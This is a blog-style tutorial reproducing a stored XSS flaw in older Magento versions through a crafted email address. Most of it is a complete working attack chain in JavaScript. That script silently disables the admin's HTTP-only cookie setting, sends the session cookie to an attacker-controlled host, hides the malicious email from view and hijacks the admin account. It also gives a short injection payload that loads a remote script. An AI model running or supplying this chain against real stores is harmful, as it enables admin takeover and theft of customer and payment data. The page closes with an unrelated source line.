Why?
A friend of mine sent me an interesting advisory the other day,
demonstrating that there was an XSS exploit for the eCommerce platform
Magento. I like security advisories, mainly because it's an interesting
challenge and a good way to learn more about the underlying frameworks
you're using. Since it was a lot of fun to exploit wordpress, I
figure'd I'd try out this XSS exploit. It should go without saying, but
don't try this on systems that aren't yours, or you'll be violating the
law.
The plan
As pointed out in the interesting advisory, this is a flaw that has to
be triggered by an administrator checking on an order. So in our pretend
scenario we have two types of exploits going on:
- Taking advantage of the vulnerability itself
- Convincing the admin to check your order
Both of these are likely to be fairly easy given the nature of Magento.
Calling or emailing an adminstrator in reference to your order would get
any well-intentioned admin to check it out. And the first is trivially
done according to the advisery by using the quoted form of an email
address for your client account. So our attack plan is simple:
- Setup our server to receive information
- Perform exploit and call up our friendly admin
- Steal their credentials or perform actions under their name
Setup
First off, we need to download a version of magento that isn't patched,
so we can grab any copy of magento that is less than 1.9.2.3 from the
downloads page. I had to create an account to download the software,
so do that if you need to (use guerrillamail if you need a quick
email address to use). Then setup magento. In my case I'll be using
apache with the following host setup:
# My New Magento Install! Nothing bad could happen :D
<VirtualHost *:80>
Servername local.magento.sec
ErrorLog /tmp/error.log
DocumentRoot /path/to/magento
<Directory /path/to/magento >
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
</VirtualHost>
#My Evil domain that will exploit the poor thing:
<VirtualHost *:80>
Servername local.evil.sec
CustomLog /tmp/exploit.log combined
DocumentRoot /tmp
<Directory /tmp >
Order allow,deny
allow from all
</Directory>
</VirtualHost>
And then setup your hosts file appropriately:
127.0.0.1 local.magento.sec local.evil.sec
And starting up apache and navigating to your local site should give you
the installation screen and you can follow the instructions to setup magento.
In my case, I had to update some permissions and install the php5-gd
package on my system before being able to run magento. Your mileage may
vary. Also, installing magento is slow, the database has over 300
tables in the base install, be patient as you install it.
Once you're setup, you should be able to log in to your admin panel and
see that magento wants to update:
Ignoring that, create a product or two and verify that your site is
working properly.
Confirming the exploit
Before we do anything complicated, we want to perform a smoke test to
make sure that we can trigger the problem ourselves. We'll do the same
test that the advisory did and simple alert on the page by using the
email "><script>alert(1);</script>"@sucuri.net
. When you do this
from the checkout page you'll get an error saying you it's not a valid
email. However, this is only a front end check that we can trivially
avoid by editing the HTML and removing the attributes the JS relys on
to validate:
Click through the rest of the steps and place your order.
Then in the admin panel navigate to sales and your orders and verify
that the exploit happens:
You'll see the pop-up twice before the page fully loads. Now the real
question is what can we do?.
Getting dirty
The first thing that comes to my mind is to attempt to steal the session
of the admin user. But a quick look at the cookies of the page will tell
us that such a thing won't work since the cookies are HTTP-Only:
So that's seems like a dead end at first, but we can actually change
the settings for these cookies from magento! The HTTP-Only setting is
configured from the Web section of the System configuration page, and
by default is turned on:
So the question becomes, how can we get to this page using our exploit?
First off, we'll note that the navigation bar has an id of nav
. So
that's trivial to get via javascript:
var nav = document.getElementById('nav')
And once we do that it's simple to note that the navigation consists of
links like the following:
<li class=" last level1">
<a href="http://local.magento.sec/index.php/admin/system_config/index/key/d1b178d00a7755670c57af7f3f59bfa3/" class=""><span>Configuration</span></a>
</li>
We can't get much from the link itself, but the internal span
tells us
everything we need to know. Leveraging this:
var spans = nav.getElementsByTagName('span')
for(i in spans) {
if (spans[i].hasOwnProperty('textContent') && spans[i].textContent == "Configuration") {
configLink = spans[i].parentElement.href
}
}
And now we have the correct link to follow stored in configLink
. Since
magento uses prototype we can perform AJAX requests for pages pretty
easily:
var configPage = document.createElement('span')
configPage.display = 'None';
new Ajax.Updater(configPage, configLink, {method: 'get'})
This will call up the system page which has another link we need. The
HTTP Only settings are in the Web settings, so we'll find that link in
the new page and then proceed from there:
var spans = configPage.getElementsByTagName('span')
for( var i = 0; i < spans.length; i++) {
if (spans[i].hasOwnProperty('textContent') && spans[i].textContent.indexOf("Web")!=-1) {
webConfigLink = spans[i].parentElement.href
}
}
var webPage = document.createElement('span')
webPage.display = 'None'
new Ajax.Updater(webPage, webConfigLink, {method: 'get'})
Once we have this page we're nearly there. We just need to select the
correct option for HTTP cookies and then submit the form. This is easy
enough to do programmatically since the option has an id:
//Get the select menu:
var select = webPage.getElementsBySelector('[id=web_cookie_cookie_httponly]')[0]
//Set the options to No
for(var o = 0; o < select.options.length; o++) {
select.options[o].value = 0 //set it to the 'No' value easily
}
//Grab that form
var form = webPage.getElementsByTagName('form')[0]
//Submit it via Ajax using prototype so the admin doesn't know
$(form).request({
onFailure: function(){},
onSuccess: function(t){
//wait for it...
}
})
Now that we've done that the HTTP-Only flag on the cookies is gone,
which means that we can steal the admin's session.
To send the session to the hacker we'll use our second virtual host and
the oldest trick in the book, the access log! Updating the wait for it
part of our form handler code gives us the final step to our hijack:
onSuccess: function(t){
var logPage = document.createElement('span')
var evil = 'http://local.evil.sec?' + document.cookie
logPage.display = 'None'
new Ajax.Updater(logPage, evil, {method: 'get'})
}
Once you do this, you'll see the admin cookie appear in the log file of
the hackers domain:
Once we've got this, we just do a simple cookie setting and we're good
to run wild. First go to the admin page and open up your console. Then
set the document to be the value sent in your request:
Refresh the page and you'll have access to the admin console:
Putting it all together
It's easy to write all the above into the console to verify that it
works, but it's another thing to actually use the email exploit to run
the code. We have two options:
- Insert all that code into the email address
- Have the email address inject a script to handle things for us
Either way we need to wrap the code into a single package so let's do
that:
/** Helpers */
function findLinkInSpan(spans, search) {
for(i in spans) {
if (spans[i].hasOwnProperty('textContent') && spans[i].textContent.trim() == search.trim()) {
return spans[i].parentElement.href;
}
}
}
/** Wait for the AJAX to stick the data into our target element */
var waitingTime = 3000;
function exploitOrderPage() {
/** Navigate the menu */
var nav = document.getElementById('nav');
var spans = nav.getElementsByTagName('span');
configLink = findLinkInSpan(spans, "Configuration");
/** Global for exploitConfigPage to use */
configPage = document.createElement('span');
configPage.display = 'None';
new Ajax.Updater(configPage, configLink, {
method: 'get',
onSuccess: function(){
setTimeout(function(){
exploitConfigPage()
}, waitingTime);
}
}
);
}
function exploitConfigPage() {
var spans = configPage.getElementsByTagName('span');
var webConfigLink = findLinkInSpan(spans, 'Web');
/** Global for exploitWebPage to use */
webPage = document.createElement('span');
webPage.display = 'None';
new Ajax.Updater(webPage, webConfigLink, {
method: 'get',
onSuccess: function(){
setTimeout(function(){
exploitWebPage();
},waitingTime);
}
}
);
}
function exploitWebPage() {
var select = webPage.getElementsBySelector('[id=web_cookie_cookie_httponly]')[0];
for(var o = 0; o < select.options.length; o++) {
select.options[o].value = 0; //set it to the 'No' value easily
}
var form = webPage.getElementsByTagName('form')[0]
//Submit it via Ajax using prototype so the admin doesn't know
$(form).request({
onFailure: function(){},
onSuccess: function(t){
var logPage = document.createElement('span');
var evil = 'http://local.evil.sec?' + document.cookie;
logPage.display = 'None';
new Ajax.Updater(logPage, evil, {method: 'get'});
}
})
}
/** On load we want to hide the weird email from the admin and steal! */
var anchors = document.getElementsByTagName('a')
for(var i = 0; i < anchors.length; i++) {
if(anchors[i] && anchors[i].href == 'mailto:') {
anchors[i].textContent = 'user@example.com';
}
}
//GO!
exploitOrderPage();
The code is a little rough because we have a series of callbacks that
fire as the pages are loaded into the target divs by prototype. In my
testing it seemed like there was enough delay between when the request
completed and when variables like configPage
were filled with data
that a timeout was the only way to ensure that there was data available
to iterate over with .getElementsByTagName
.
Note that even though we don't have any CORS headers on our evil domain,
we don't actually need them to get the credentials in our log file since
the preflight request will show up in the log. If you were a real
attacker trying to be silent, you'd likely adjust your server
accordingly.
So let's try the first tactic, putting all of the code into an email
address in the checkout form:
And editing the HTML with the inspector to remove the validation from
the element results in
And checking out the magento source it looks like the length calculation
is pretty small:
//lib/Zend/Validate/EmailAddress.php
if ((strlen($this->_localPart) > 64) || (strlen($this->_hostname) > 255)) {
$length = false;
$this->_error(self::LENGTH_EXCEEDED);
}
So it seems like the first attempt is out since the full script can't be
fit into 64 characters. So instead let's try to load it from our evil
domain! We can do this by saving our script to a.js
and loading it via
a script
tag with the malicious email:
"<script src='//local.evil.sec/a.js'></script>"@exploited.net
This comes in at 47 characters, so if you're testing with a longer local
domain name then a link shortener would be a good idea. Or if you don't
mind whiting out most of the screen you can drop seven characters by
removing the closing <script>
tag (though that makes the attack more
obvious).
Submit your order after filling out the rest of the fields:
Navigating from our admin window to the new order, we'll be greeted with
our usual screen, but if we open up the console in a few seconds we'll
start to see the effects of the attack:
And in our log files:
Using this value we can then update our cookie from our hackers
perspective:
Then simply click in the url and navigate to /admin and you've
successfully broken into a magento site using an exploit and session
hijacking!
So what now?
Now you go and you update magento so that you don't run into someone
pulling this trick on you! The last thing you need is a random user
getting access to customer information, saved credit cards, or anything
like that! Just browsing through the configuration screen's it's easy to
see multiple attack vectors that one could use to install back-doors to
the system so that even after they upgrade, the attack can still get in.
Security is important, and I've written this post so that if anyone is
using an old version of magento in production they can go to their boss,
demonstrate the attack here, and get their blessing to spend as much
time as neccesary in patching their system. It's not always fun to
upgrade when we could be developing, but doing so keeps the entire
internet healthy (you don't want your servers or clients helping out
with a DDoS do you?). So get out there and patch!
Obvious Disclaimer
In case it's not obvious This is example code meant for educational
purposes only. Do not run this on any machine you do not own! It is a
violation of both state and federal law that often carries a hefty
fine. Just don't do it.
Source: http://www.plasticsurgery.whoseopinion.com